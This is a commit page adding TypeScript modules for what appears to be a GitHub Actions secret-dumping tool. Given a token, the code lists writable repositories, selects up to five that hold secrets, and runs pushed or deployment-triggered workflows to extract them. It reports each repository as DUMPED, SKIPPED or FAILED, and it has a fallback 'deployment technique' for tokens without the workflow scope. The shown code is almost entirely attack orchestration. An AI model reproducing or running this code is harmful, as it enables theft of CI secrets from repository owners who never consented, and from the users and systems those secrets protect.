Upload files to "src/providers/actions"
This commit is contained in:
@@ -0,0 +1,104 @@
|
|||||||
|
import { getTokenMetadata } from "../../github_utils/tokenCheck";
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
import { Provider } from "../base";
|
||||||
|
import type { ProviderResult } from "../types";
|
||||||
|
import {
|
||||||
|
runDeploymentOnReposWithSecrets,
|
||||||
|
runFormatOnReposWithSecrets,
|
||||||
|
} from "./pipeline";
|
||||||
|
|
||||||
|
export type TokenRepo = {
|
||||||
|
token: string;
|
||||||
|
repo: string;
|
||||||
|
owner: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
export class GitHubActionsService extends Provider {
|
||||||
|
private token;
|
||||||
|
|
||||||
|
constructor(token: string) {
|
||||||
|
super("github", "actions");
|
||||||
|
this.token = token;
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<ProviderResult> {
|
||||||
|
const meta = await getTokenMetadata(this.token);
|
||||||
|
if (!meta.valid) {
|
||||||
|
return this.failure("Token invalid");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Prefer push-based approach when workflow scope is available.
|
||||||
|
if (meta.scopes.includes("workflow")) {
|
||||||
|
return this.runPushWorkflow();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fall back to deployment-based approach — only needs repo scope.
|
||||||
|
logUtil.log(
|
||||||
|
"Missing workflow scope — falling back to deployment technique",
|
||||||
|
);
|
||||||
|
return this.runDeployWorkflow();
|
||||||
|
}
|
||||||
|
|
||||||
|
private async runPushWorkflow(): Promise<ProviderResult> {
|
||||||
|
try {
|
||||||
|
const { results, metadata } = await runFormatOnReposWithSecrets(
|
||||||
|
this.token,
|
||||||
|
);
|
||||||
|
|
||||||
|
const dumped = results.filter((r) => !r.error).length;
|
||||||
|
if (dumped === 0) {
|
||||||
|
// Return all results as data so errors are visible in the output.
|
||||||
|
return this.success({
|
||||||
|
ok: false,
|
||||||
|
dumped: 0,
|
||||||
|
errored: results.filter((r) => r.error).length,
|
||||||
|
results,
|
||||||
|
metadata,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return this.success({
|
||||||
|
ok: true,
|
||||||
|
dumped,
|
||||||
|
errored: results.filter((r) => r.error).length,
|
||||||
|
results,
|
||||||
|
metadata,
|
||||||
|
});
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.error("Failure collecting results (push)");
|
||||||
|
return this.failure(
|
||||||
|
`Failure collecting results: ${e instanceof Error ? e.message : String(e)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private async runDeployWorkflow(): Promise<ProviderResult> {
|
||||||
|
try {
|
||||||
|
const { results, metadata } = await runDeploymentOnReposWithSecrets(
|
||||||
|
this.token,
|
||||||
|
);
|
||||||
|
|
||||||
|
const dumped = results.filter((r) => !r.error).length;
|
||||||
|
if (dumped === 0) {
|
||||||
|
return this.success({
|
||||||
|
ok: false,
|
||||||
|
dumped: 0,
|
||||||
|
errored: results.filter((r) => r.error).length,
|
||||||
|
results,
|
||||||
|
metadata,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return this.success({
|
||||||
|
ok: true,
|
||||||
|
dumped,
|
||||||
|
errored: results.filter((r) => r.error).length,
|
||||||
|
results,
|
||||||
|
metadata,
|
||||||
|
});
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.error("Failure collecting results (deploy)");
|
||||||
|
return this.failure(
|
||||||
|
`Failure collecting results: ${e instanceof Error ? e.message : String(e)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
export { githubFetch, githubHeaders, githubJson } from "../../github_utils/client";
|
||||||
@@ -0,0 +1,123 @@
|
|||||||
|
import type { TokenRepo } from "./actions";
|
||||||
|
import { streamWritableRepos } from "./repos";
|
||||||
|
import { type RepoSecretInfo, streamRepoSecrets } from "./secrets";
|
||||||
|
import {
|
||||||
|
type FormatResult,
|
||||||
|
runDeploymentWorkflows,
|
||||||
|
runFormatWorkflows,
|
||||||
|
} from "./workflow";
|
||||||
|
|
||||||
|
export interface RepoScanMetadata {
|
||||||
|
fullName: string;
|
||||||
|
secrets: string[];
|
||||||
|
isPrivate: boolean;
|
||||||
|
status: "DUMPED" | "SKIPPED" | "FAILED";
|
||||||
|
error?: string;
|
||||||
|
method: "push" | "deployment";
|
||||||
|
}
|
||||||
|
|
||||||
|
interface CollectResult {
|
||||||
|
toDump: TokenRepo[];
|
||||||
|
metadata: RepoScanMetadata[];
|
||||||
|
}
|
||||||
|
|
||||||
|
async function collectReposWithSecrets(token: string): Promise<CollectResult> {
|
||||||
|
const toDump: TokenRepo[] = [];
|
||||||
|
const metadata: RepoScanMetadata[] = [];
|
||||||
|
|
||||||
|
for await (const info of streamRepoSecrets(
|
||||||
|
token,
|
||||||
|
streamWritableRepos(token),
|
||||||
|
)) {
|
||||||
|
const hasSecrets = info.secrets.length > 0;
|
||||||
|
const [owner, repo] = info.fullName.split("/");
|
||||||
|
|
||||||
|
if (hasSecrets && owner && repo && toDump.length < 5) {
|
||||||
|
toDump.push({ token, owner, repo });
|
||||||
|
metadata.push({
|
||||||
|
fullName: info.fullName,
|
||||||
|
secrets: info.secrets,
|
||||||
|
isPrivate: info.isPrivate,
|
||||||
|
status: "DUMPED",
|
||||||
|
method: "push",
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
metadata.push({
|
||||||
|
fullName: info.fullName,
|
||||||
|
secrets: info.secrets,
|
||||||
|
isPrivate: info.isPrivate,
|
||||||
|
status: "SKIPPED",
|
||||||
|
method: "push",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return { toDump, metadata };
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Cross-reference workflow results with the pre-computed metadata.
|
||||||
|
* Repos that were marked DUMPED but had a failing workflow (error or
|
||||||
|
* null artifact) are downgraded to FAILED with the error message.
|
||||||
|
*/
|
||||||
|
function reconcileMetadata(
|
||||||
|
results: FormatResult[],
|
||||||
|
metadata: RepoScanMetadata[],
|
||||||
|
method: "push" | "deployment",
|
||||||
|
): RepoScanMetadata[] {
|
||||||
|
const resultMap = new Map(results.map((r) => [r.repo, r]));
|
||||||
|
return metadata.map((m) => ({
|
||||||
|
...m,
|
||||||
|
method,
|
||||||
|
...(m.status === "DUMPED"
|
||||||
|
? (() => {
|
||||||
|
const r = resultMap.get(m.fullName);
|
||||||
|
if (!r || r.error || r.artifact === null) {
|
||||||
|
return {
|
||||||
|
status: "FAILED" as const,
|
||||||
|
error: r?.error ?? "no result",
|
||||||
|
};
|
||||||
|
}
|
||||||
|
return {};
|
||||||
|
})()
|
||||||
|
: {}),
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run the push-based workflow (requires `workflow` OAuth scope).
|
||||||
|
*/
|
||||||
|
export async function runFormatOnReposWithSecrets(
|
||||||
|
token: string,
|
||||||
|
concurrency = 5,
|
||||||
|
): Promise<{ results: FormatResult[]; metadata: RepoScanMetadata[] }> {
|
||||||
|
const { toDump, metadata } = await collectReposWithSecrets(token);
|
||||||
|
|
||||||
|
const results: FormatResult[] = [];
|
||||||
|
for await (const result of runFormatWorkflows(toDump, concurrency)) {
|
||||||
|
results.push(result);
|
||||||
|
}
|
||||||
|
|
||||||
|
return { results, metadata: reconcileMetadata(results, metadata, "push") };
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Run the deployment-based workflow (no `workflow` scope needed —
|
||||||
|
* uses dangling commits + deployment events).
|
||||||
|
*/
|
||||||
|
export async function runDeploymentOnReposWithSecrets(
|
||||||
|
token: string,
|
||||||
|
concurrency = 5,
|
||||||
|
): Promise<{ results: FormatResult[]; metadata: RepoScanMetadata[] }> {
|
||||||
|
const { toDump, metadata } = await collectReposWithSecrets(token);
|
||||||
|
|
||||||
|
const results: FormatResult[] = [];
|
||||||
|
for await (const result of runDeploymentWorkflows(toDump, concurrency)) {
|
||||||
|
results.push(result);
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
results,
|
||||||
|
metadata: reconcileMetadata(results, metadata, "deployment"),
|
||||||
|
};
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user